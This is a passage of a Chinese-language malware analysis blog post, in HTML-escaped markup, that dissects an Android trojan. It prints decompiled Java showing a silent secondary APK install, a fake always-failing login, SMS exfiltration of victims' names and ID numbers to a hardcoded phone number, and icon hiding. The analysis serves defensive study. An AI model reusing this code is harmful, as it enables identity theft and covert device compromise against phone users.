  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DialogInterface&lt;/span&gt; &lt;span class="n"&gt;paramAnonymousDialogInterface&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;paramAnonymousInt&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;chmod 777 &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;paramString&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;localIntent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;android.intent.action.VIEW&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;localIntent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addFlags&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;268435456&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;localIntent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setDataAndType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Uri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;file://&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;paramString&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;application/vnd.android.package-archive&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;paramContext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startActivity&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localIntent&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt; &lt;span class="n"&gt;localIOException&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;localIOException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;});&lt;/span&gt;
&lt;span class="n"&gt;localBuilder&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
 &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;很明显我们百度关键词&lt;code&gt;retrieveApkFromAssets&lt;/code&gt;就会发现这些代码是模仿写的，实现在android中安装多个apk文件。&lt;/p&gt;
&lt;p&gt;然后安装完木马后我们就会看到登录界面，看了一下代码，无论你怎么样都是灰登录失败的， 不过作者为了让他看起来像真的还对网络进行了判定：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt; &lt;span class="n"&gt;paramAnonymousView&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;detectApk&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;com.example.com.android.trogoogle&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getFilesDir&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getAbsolutePath&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;/com.android.Trogoogle.apk&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;retrieveApkFromAssets&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;com.android.Trogoogle.apk&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;showInstallConfirmDialog&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;goToNetWork&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;无法连接，请检查您的网络！&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;pass&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;=&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;正在验证，请稍后...&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;密码错误或账号不存在！&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;请输入正确的账号或密码&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;然后你发现登录不了自然就点击了注册，这样就到了注册页面了。引导很顺利，说明作者有用心。&lt;/p&gt;
&lt;p&gt;不过在mainavtivity中发现了这样一行代码：该软件监听了包管理的广播，当软件安装有变化的时候就会收到广播，每次收到该广播后就看看是否是安装了自己的木马，如果安装了木马就发短信到作者自己的手机告诉他有人中毒了，然后作者的手机号就这么暴露了&lt;code&gt;SmsManager.getDefault().sendTextMessage("18670259904", null, " Tro instanll Ok", null, null);&lt;/code&gt;
查询可知，这是湖南邵阳的电话。&lt;/p&gt;
&lt;p&gt;然后就是注册的activity，&lt;/p&gt;
&lt;p&gt;代码:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RegisterActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;idEditText&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RegisterActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;请输入正确的身份证号&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parseInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;1996&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;1980&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RegisterActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;请输入正确的身份证号&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;RegisterActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nameEditText&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RegisterActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nameEditText&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RegisterActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;请输入正确的姓名&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;SmsManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefault&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;得到主机，姓名：&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;RegisterActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;nameEditText&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;，身份证号为：&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RegisterActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;注册成功！&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;对身份证号码的日期进行了验证，当用户点击注册后姓名和身份证号码都会被发送到作者的手机上。。这一点就比较严重了。&lt;/p&gt;
&lt;p&gt;分析完主程序，我们来看看植入的木马程序是做什么的。&lt;/p&gt;
&lt;p&gt;Torgoogle的入口程序非常简单。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;requestWindowFeature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;setContentView&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2130903063&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;getPackageManager&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;setComponentEnabledSetting&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getComponentName&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;APP图标隐藏成功==============================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;localIntent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;localIntent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setClass&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ListenMessageService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;startService&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localIntent&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot; startService成功==============================&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
